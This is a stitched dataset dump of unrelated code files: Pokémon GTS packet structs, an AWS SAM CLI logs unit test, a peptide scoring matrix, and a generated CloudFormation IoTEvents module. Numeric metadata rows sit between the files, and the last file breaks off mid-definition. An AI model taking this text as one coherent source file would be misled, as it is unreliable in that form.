# create empty data to load into Struct
gts = Gen5ClientPkm('\x00' * 444)
gts.encrypted_pkm = data
gts.pv = obj.pv
gts.length = 432
gts.id = obj.id
if obj.is_genderless:
gts.gender = 0x03
elif obj.is_female:
gts.gender = 0x02
else:
gts.gender = 0x01
gts.level = obj.level
gts.requested.id = 1 # bulbasaur
gts.requested.gender = 0x02 # female
gts.requested.min_level = 0 # any
gts.requested.max_level = 0 # any
if obj.ot_is_female:
gts.ot_gender = 0x01
gts.ot_nature = 24 # quirky
now = datetime.datetime.now()
gts.deposited_time.year = now.year
gts.deposited_time.month = now.month
gts.deposited_time.day = now.day
gts.deposited_time.hour = now.hour
gts.deposited_time.minute = now.minute
gts.deposited_time.second = now.second
gts.traded_time.year = now.year
gts.traded_time.month = now.month
gts.traded_time.day = now.day
gts.traded_time.hour = now.hour
gts.traded_time.minute = now.minute
gts.traded_time.second = now.second
gts.ot_id = obj.ot_id
gts.ot_secret_id = obj.ot_secret_id
gts.ot_name = obj.ot_name
gts.country = 0xDB # not sure, taken from ir-gts
gts.city = 0x02 # not sure, taken from ir-gts
if gts.ot_gender == 0x01:
# if female, set to lass; if male, leave at 0 for youngster
gts.ot_sprite = 0x08
gts.is_exchanged = True
gts.version = 0x14 # white version
gts.language = obj.language
gts.unknown_0to8 = 8 # no idea!
gts.terminator = 128
return gts
class Gen5PartyPkm(Gen5BoxPkm):
def __init__(self, data=None):
if data is None:
data = '\x00' * 220
elif len(data) != 220:
raise LengthError(220, len(data))
self._load(gen5.pkm_party_struct, data)
class GTSData(StructData):
"""A base class for data sent to or from the GTS server."""
pass
class Gen4ServerData(GTSData):
def __init__(self, data=None):
if data is None:
data = '\x00' * 292
elif len(data) != 292:
raise LengthError(292, len(data))
self._load(gen4.pkm_gtsserver_struct, data)
def topkm(self):
data = decrypt(self.encrypted_pkm)
return Gen4PartyPkm(data)
class Gen4ClientData(GTSData):
def __init__(self, data=None):
if data is None:
data = '\x00' * 296
elif len(data) != 296:
raise LengthError(296, len(data))
self._load(gen4.pkm_gtsclient_struct, data)
def topkm(self):
data = decrypt(self.encrypted_pkm)
return Gen4PartyPkm(data)
class Gen5ServerData(GTSData):
def __init__(self, data=None):
if data is None:
data = '\x00' * 296
elif len(data) != 296:
raise LengthError(296, len(data))
self._load(gen5.pkm_gtsserver_struct, data)
def topkm(self):
data = decrypt(self.encrypted_pkm)
return Gen5PartyPkm(data)
class Gen5ClientData(GTSData):
def __init__(self, data=None):
if data is None:
data = '\x00' * 444
elif len(data) != 444:
raise LengthError(444, len(data))
self._load(gen5.pkm_gtsclient_struct, data)
def topkm(self):
data = decrypt(self.encrypted_pkm)
return Gen5PartyPkm(data)
def get_pkmobj(gen, data):
objs = {
4: {
136: Gen4BoxPkm,
236: Gen4PartyPkm,
292: Gen4ServerData,
296: Gen4ClientData,
},
5: {
136: Gen5BoxPkm,
220: Gen5PartyPkm,
296: Gen5ServerData,
444: Gen5ClientData,
}
}
return objs.get(gen).get(len(data))(data)
| 31.600365
| 114
| 0.581683
| 2,290
| 17,317
| 4.253712
| 0.126201
| 0.047428
| 0.039421
| 0.019711
| 0.781029
| 0.76255
| 0.75095
| 0.75095
| 0.75095
| 0.75095
| 0
| 0.032598
| 0.326846
| 17,317
| 547
| 115
| 31.658135
| 0.803037
| 0.14968
| 0
| 0.74124
| 0
| 0
| 0.006357
| 0
| 0
| 0
| 0.011757
| 0
| 0
| 1
| 0.067385
| false
| 0.002695
| 0.016173
| 0.002695
| 0.15903
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a137d26230306e866bbe64d231cacdfaf89c1de9
| 113
|
py
|
Python
|
maru/vectorizer/__init__.py
|
chomechome/maru
|
dae41e250a64a8b6f6ab9647fd60221d5ede8ab6
|
[
"MIT"
] | 47
|
2018-09-25T05:17:13.000Z
|
2022-03-31T09:27:15.000Z
|
maru/vectorizer/__init__.py
|
ojomio/maru
|
7a44be7f974c0962f3023f5d064a391d2b4f20b1
|
[
"MIT"
] | 2
|
2019-11-26T08:48:54.000Z
|
2020-09-10T10:00:39.000Z
|
maru/vectorizer/__init__.py
|
ojomio/maru
|
7a44be7f974c0962f3023f5d064a391d2b4f20b1
|
[
"MIT"
] | 5
|
2019-01-05T17:36:23.000Z
|
2021-06-29T08:55:24.000Z
|
from .sequential import SequentialVectorizer
from .sparse import SparseFeatureVectorizer, SparseWindowVectorizer
| 37.666667
| 67
| 0.893805
| 9
| 113
| 11.222222
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.079646
| 113
| 2
| 68
| 56.5
| 0.971154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
a15d057bd6eab4e61761ed4cbf267736667a0a9a
| 2,154
|
py
|
Python
|
epytope/Data/pssms/tepitopepan/mat/DRB1_0115_9.py
|
christopher-mohr/epytope
|
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
|
[
"BSD-3-Clause"
] | 7
|
2021-02-01T18:11:28.000Z
|
2022-01-31T19:14:07.000Z
|
epytope/Data/pssms/tepitopepan/mat/DRB1_0115_9.py
|
christopher-mohr/epytope
|
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
|
[
"BSD-3-Clause"
] | 22
|
2021-01-02T15:25:23.000Z
|
2022-03-14T11:32:53.000Z
|
epytope/Data/pssms/tepitopepan/mat/DRB1_0115_9.py
|
christopher-mohr/epytope
|
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
|
[
"BSD-3-Clause"
] | 4
|
2021-05-28T08:50:38.000Z
|
2022-03-14T11:45:32.000Z
|
DRB1_0115_9 = {0: {'A': -999.0, 'E': -999.0, 'D': -999.0, 'G': -999.0, 'F': -0.004754, 'I': -0.99525, 'H': -999.0, 'K': -999.0, 'M': -0.99525, 'L': -0.99525, 'N': -999.0, 'Q': -999.0, 'P': -999.0, 'S': -999.0, 'R': -999.0, 'T': -999.0, 'W': -0.004754, 'V': -0.99525, 'Y': -0.004754}, 1: {'A': 0.0, 'E': 0.1, 'D': -1.3, 'G': 0.5, 'F': 0.8, 'I': 1.1, 'H': 0.8, 'K': 1.1, 'M': 1.1, 'L': 1.0, 'N': 0.8, 'Q': 1.2, 'P': -0.5, 'S': -0.3, 'R': 2.2, 'T': 0.0, 'W': -0.1, 'V': 2.1, 'Y': 0.9}, 2: {'A': 0.0, 'E': -1.2, 'D': -1.3, 'G': 0.2, 'F': 0.8, 'I': 1.5, 'H': 0.2, 'K': 0.0, 'M': 1.4, 'L': 1.0, 'N': 0.5, 'Q': 0.0, 'P': 0.3, 'S': 0.2, 'R': 0.7, 'T': 0.0, 'W': 0.0, 'V': 0.5, 'Y': 0.8}, 3: {'A': 0.0, 'E': -0.39945, 'D': -2.3966, 'G': -0.70118, 'F': 0.080737, 'I': 0.50051, 'H': -0.69856, 'K': -2.099, 'M': 0.80066, 'L': 0.89985, 'N': 0.039978, 'Q': 0.10002, 'P': -1.899, 'S': -0.69906, 'R': -2.0992, 'T': -0.99879, 'W': -1.7979, 'V': -0.050089, 'Y': -1.0987}, 4: {'A': 0.0, 'E': 0.0, 'D': 0.0, 'G': 0.0, 'F': 0.0, 'I': 0.0, 'H': 0.0, 'K': 0.0, 'M': 0.0, 'L': 0.0, 'N': 0.0, 'Q': 0.0, 'P': 0.0, 'S': 0.0, 'R': 0.0, 'T': 0.0, 'W': 0.0, 'V': 0.0, 'Y': 0.0}, 5: {'A': 0.0, 'E': -2.4, 'D': -2.7, 'G': -0.30004, 'F': -2.0999, 'I': -1.8999, 'H': -2.1999, 'K': -1.9999, 'M': -1.7999, 'L': -1.9999, 'N': -1.0999, 'Q': -1.7999, 'P': -0.20002, 'S': -0.59987, 'R': -1.7999, 'T': -1.1999, 'W': -2.3998, 'V': -1.0999, 'Y': -1.9999}, 6: {'A': 0.0, 'E': -0.59524, 'D': -1.9791, 'G': -1.0977, 'F': 0.29645, 'I': 0.59881, 'H': 0.099489, 'K': -0.20669, 'M': 0.1072, 'L': 0.31152, 'N': 0.11106, 'Q': 0.19684, 'P': 0.057838, 'S': -0.19353, 'R': 0.076978, 'T': 0.091941, 'W': -0.085428, 'V': 0.69003, 'Y': 0.48799}, 7: {'A': 0.0, 'E': 0.0, 'D': 0.0, 'G': 0.0, 'F': 0.0, 'I': 0.0, 'H': 0.0, 'K': 0.0, 'M': 0.0, 'L': 0.0, 'N': 0.0, 'Q': 0.0, 'P': 0.0, 'S': 0.0, 'R': 0.0, 'T': 0.0, 'W': 0.0, 'V': 0.0, 'Y': 0.0}, 8: {'A': 0.0, 'E': -1.8988, 'D': -1.8991, 'G': -0.79913, 'F': -0.39906, 'I': 0.69987, 'H': -1.099, 'K': -1.698, 'M': 0.080579, 'L': 0.49958, 'N': -1.1995, 'Q': -1.5984, 'P': -1.0995, 'S': -0.29882, 'R': -0.99849, 'T': -0.20036, 'W': -1.3995, 'V': 0.29972, 'Y': -0.89891}}
| 2,154
| 2,154
| 0.391365
| 525
| 2,154
| 1.601905
| 0.182857
| 0.116528
| 0.028537
| 0.03805
| 0.222354
| 0.145065
| 0.145065
| 0.145065
| 0.135553
| 0.135553
| 0
| 0.370144
| 0.163417
| 2,154
| 1
| 2,154
| 2,154
| 0.096559
| 0
| 0
| 0
| 0
| 0
| 0.07935
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a1938a141cb683016f73c21508d0d0c9eedad25d
| 2,985
|
py
|
Python
|
tests/unit/commands/logs/test_command.py
|
Velaseriat/aws-sam-cli
|
76a363ff6548bd74b725ae9953693f71dfa545e3
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/commands/logs/test_command.py
|
Velaseriat/aws-sam-cli
|
76a363ff6548bd74b725ae9953693f71dfa545e3
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/commands/logs/test_command.py
|
Velaseriat/aws-sam-cli
|
76a363ff6548bd74b725ae9953693f71dfa545e3
|
[
"Apache-2.0"
] | null | null | null |
from unittest import TestCase
from mock import Mock, patch, call
from samcli.commands.logs.command import do_cli
class TestLogsCliCommand(TestCase):
def setUp(self):
self.function_name = "name"
self.stack_name = "stack name"
self.filter_pattern = "filter"
self.start_time = "start"
self.end_time = "end"
@patch("samcli.commands.logs.command.click")
@patch("samcli.commands.logs.logs_context.LogsCommandContext")
def test_without_tail(self, LogsCommandContextMock, click_mock):
tailing = False
events_iterable = [1, 2, 3]
formatted_events = [4, 5, 6]
context_mock = Mock()
LogsCommandContextMock.return_value.__enter__.return_value = context_mock
context_mock.fetcher.fetch.return_value = events_iterable
context_mock.formatter.do_format.return_value = formatted_events
do_cli(self.function_name, self.stack_name, self.filter_pattern, tailing, self.start_time, self.end_time)
LogsCommandContextMock.assert_called_with(
self.function_name,
stack_name=self.stack_name,
filter_pattern=self.filter_pattern,
start_time=self.start_time,
end_time=self.end_time,
output_file=None,
)
context_mock.fetcher.fetch.assert_called_with(
context_mock.log_group_name,
filter_pattern=context_mock.filter_pattern,
start=context_mock.start_time,
end=context_mock.end_time,
)
context_mock.formatter.do_format.assert_called_with(events_iterable)
click_mock.echo.assert_has_calls([call(v, nl=False) for v in formatted_events])
@patch("samcli.commands.logs.command.click")
@patch("samcli.commands.logs.logs_context.LogsCommandContext")
def test_with_tailing(self, LogsCommandContextMock, click_mock):
tailing = True
events_iterable = [1, 2, 3]
formatted_events = [4, 5, 6]
context_mock = Mock()
LogsCommandContextMock.return_value.__enter__.return_value = context_mock
context_mock.fetcher.tail.return_value = events_iterable
context_mock.formatter.do_format.return_value = formatted_events
do_cli(self.function_name, self.stack_name, self.filter_pattern, tailing, self.start_time, self.end_time)
LogsCommandContextMock.assert_called_with(
self.function_name,
stack_name=self.stack_name,
filter_pattern=self.filter_pattern,
start_time=self.start_time,
end_time=self.end_time,
output_file=None,
)
context_mock.fetcher.tail.assert_called_with(
context_mock.log_group_name, filter_pattern=context_mock.filter_pattern, start=context_mock.start_time
)
context_mock.formatter.do_format.assert_called_with(events_iterable)
click_mock.echo.assert_has_calls([call(v, nl=False) for v in formatted_events])
| 37.3125
| 114
| 0.694472
| 364
| 2,985
| 5.348901
| 0.184066
| 0.107345
| 0.049307
| 0.043657
| 0.859784
| 0.803287
| 0.803287
| 0.803287
| 0.803287
| 0.803287
| 0
| 0.005168
| 0.222111
| 2,985
| 79
| 115
| 37.78481
| 0.833333
| 0
| 0
| 0.557377
| 0
| 0
| 0.067002
| 0.057621
| 0
| 0
| 0
| 0
| 0.131148
| 1
| 0.04918
| false
| 0
| 0.04918
| 0
| 0.114754
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a1a131a1c1cb26faf4a774954229d4b1e499130f
| 110
|
py
|
Python
|
run_add_kw.py
|
qjhqqqqq/biliob-spider
|
aa47addacaf0e9ea15f004765de2f0c38a6b27ec
|
[
"MIT"
] | 9
|
2020-06-18T15:36:45.000Z
|
2021-12-10T02:27:41.000Z
|
run_add_kw.py
|
qjhqqqqq/biliob-spider
|
aa47addacaf0e9ea15f004765de2f0c38a6b27ec
|
[
"MIT"
] | null | null | null |
run_add_kw.py
|
qjhqqqqq/biliob-spider
|
aa47addacaf0e9ea15f004765de2f0c38a6b27ec
|
[
"MIT"
] | 28
|
2020-09-25T10:36:55.000Z
|
2022-01-22T02:33:01.000Z
|
from biliob_analyzer.add_keyword import AddKeyword
AddKeyword().add_all_author()
AddKeyword().add_all_video()
| 27.5
| 50
| 0.845455
| 15
| 110
| 5.8
| 0.666667
| 0.298851
| 0.367816
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.054545
| 110
| 3
| 51
| 36.666667
| 0.836538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
a1b09753c5596a8533c233eed0e5a562447feb57
| 69,675
|
py
|
Python
|
cottonformation/res/iotevents.py
|
MacHu-GWU/cottonformation-project
|
23e28c08cfb5a7cc0db6dbfdb1d7e1585c773f3b
|
[
"BSD-2-Clause"
] | 5
|
2021-07-22T03:45:59.000Z
|
2021-12-17T21:07:14.000Z
|
cottonformation/res/iotevents.py
|
MacHu-GWU/cottonformation-project
|
23e28c08cfb5a7cc0db6dbfdb1d7e1585c773f3b
|
[
"BSD-2-Clause"
] | 1
|
2021-06-25T18:01:31.000Z
|
2021-06-25T18:01:31.000Z
|
cottonformation/res/iotevents.py
|
MacHu-GWU/cottonformation-project
|
23e28c08cfb5a7cc0db6dbfdb1d7e1585c773f3b
|
[
"BSD-2-Clause"
] | 2
|
2021-06-27T03:08:21.000Z
|
2021-06-28T22:15:51.000Z
|
# -*- coding: utf-8 -*-
"""
This module
"""
import attr
import typing
from ..core.model import (
Property, Resource, Tag, GetAtt, TypeHint, TypeCheck,
)
from ..core.constant import AttrMeta
#--- Property declaration ---
@attr.s
class PropDetectorModelSetTimer(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.SetTimer"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-settimer.html
Property Document:
- ``rp_TimerName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-settimer.html#cfn-iotevents-detectormodel-settimer-timername
- ``p_DurationExpression``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-settimer.html#cfn-iotevents-detectormodel-settimer-durationexpression
- ``p_Seconds``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-settimer.html#cfn-iotevents-detectormodel-settimer-seconds
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.SetTimer"
rp_TimerName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "TimerName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-settimer.html#cfn-iotevents-detectormodel-settimer-timername"""
p_DurationExpression: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "DurationExpression"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-settimer.html#cfn-iotevents-detectormodel-settimer-durationexpression"""
p_Seconds: int = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(int)),
metadata={AttrMeta.PROPERTY_NAME: "Seconds"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-settimer.html#cfn-iotevents-detectormodel-settimer-seconds"""
@attr.s
class PropDetectorModelResetTimer(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.ResetTimer"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-resettimer.html
Property Document:
- ``rp_TimerName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-resettimer.html#cfn-iotevents-detectormodel-resettimer-timername
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.ResetTimer"
rp_TimerName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "TimerName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-resettimer.html#cfn-iotevents-detectormodel-resettimer-timername"""
@attr.s
class PropDetectorModelClearTimer(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.ClearTimer"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-cleartimer.html
Property Document:
- ``rp_TimerName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-cleartimer.html#cfn-iotevents-detectormodel-cleartimer-timername
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.ClearTimer"
rp_TimerName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "TimerName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-cleartimer.html#cfn-iotevents-detectormodel-cleartimer-timername"""
@attr.s
class PropInputAttribute(Property):
"""
AWS Object Type = "AWS::IoTEvents::Input.Attribute"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-input-attribute.html
Property Document:
- ``rp_JsonPath``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-input-attribute.html#cfn-iotevents-input-attribute-jsonpath
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::Input.Attribute"
rp_JsonPath: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "JsonPath"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-input-attribute.html#cfn-iotevents-input-attribute-jsonpath"""
@attr.s
class PropDetectorModelAssetPropertyTimestamp(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.AssetPropertyTimestamp"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertytimestamp.html
Property Document:
- ``rp_TimeInSeconds``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertytimestamp.html#cfn-iotevents-detectormodel-assetpropertytimestamp-timeinseconds
- ``p_OffsetInNanos``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertytimestamp.html#cfn-iotevents-detectormodel-assetpropertytimestamp-offsetinnanos
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.AssetPropertyTimestamp"
rp_TimeInSeconds: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "TimeInSeconds"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertytimestamp.html#cfn-iotevents-detectormodel-assetpropertytimestamp-timeinseconds"""
p_OffsetInNanos: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "OffsetInNanos"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertytimestamp.html#cfn-iotevents-detectormodel-assetpropertytimestamp-offsetinnanos"""
@attr.s
class PropDetectorModelAssetPropertyVariant(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.AssetPropertyVariant"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html
Property Document:
- ``p_BooleanValue``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html#cfn-iotevents-detectormodel-assetpropertyvariant-booleanvalue
- ``p_DoubleValue``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html#cfn-iotevents-detectormodel-assetpropertyvariant-doublevalue
- ``p_IntegerValue``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html#cfn-iotevents-detectormodel-assetpropertyvariant-integervalue
- ``p_StringValue``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html#cfn-iotevents-detectormodel-assetpropertyvariant-stringvalue
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.AssetPropertyVariant"
p_BooleanValue: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "BooleanValue"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html#cfn-iotevents-detectormodel-assetpropertyvariant-booleanvalue"""
p_DoubleValue: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "DoubleValue"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html#cfn-iotevents-detectormodel-assetpropertyvariant-doublevalue"""
p_IntegerValue: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "IntegerValue"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html#cfn-iotevents-detectormodel-assetpropertyvariant-integervalue"""
p_StringValue: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "StringValue"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvariant.html#cfn-iotevents-detectormodel-assetpropertyvariant-stringvalue"""
@attr.s
class PropDetectorModelSetVariable(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.SetVariable"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-setvariable.html
Property Document:
- ``rp_Value``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-setvariable.html#cfn-iotevents-detectormodel-setvariable-value
- ``rp_VariableName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-setvariable.html#cfn-iotevents-detectormodel-setvariable-variablename
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.SetVariable"
rp_Value: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "Value"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-setvariable.html#cfn-iotevents-detectormodel-setvariable-value"""
rp_VariableName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "VariableName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-setvariable.html#cfn-iotevents-detectormodel-setvariable-variablename"""
@attr.s
class PropDetectorModelPayload(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.Payload"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-payload.html
Property Document:
- ``rp_ContentExpression``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-payload.html#cfn-iotevents-detectormodel-payload-contentexpression
- ``rp_Type``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-payload.html#cfn-iotevents-detectormodel-payload-type
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.Payload"
rp_ContentExpression: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "ContentExpression"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-payload.html#cfn-iotevents-detectormodel-payload-contentexpression"""
rp_Type: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "Type"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-payload.html#cfn-iotevents-detectormodel-payload-type"""
@attr.s
class PropDetectorModelAssetPropertyValue(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.AssetPropertyValue"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvalue.html
Property Document:
- ``rp_Value``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvalue.html#cfn-iotevents-detectormodel-assetpropertyvalue-value
- ``p_Quality``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvalue.html#cfn-iotevents-detectormodel-assetpropertyvalue-quality
- ``p_Timestamp``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvalue.html#cfn-iotevents-detectormodel-assetpropertyvalue-timestamp
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.AssetPropertyValue"
rp_Value: typing.Union['PropDetectorModelAssetPropertyVariant', dict] = attr.ib(
default=None,
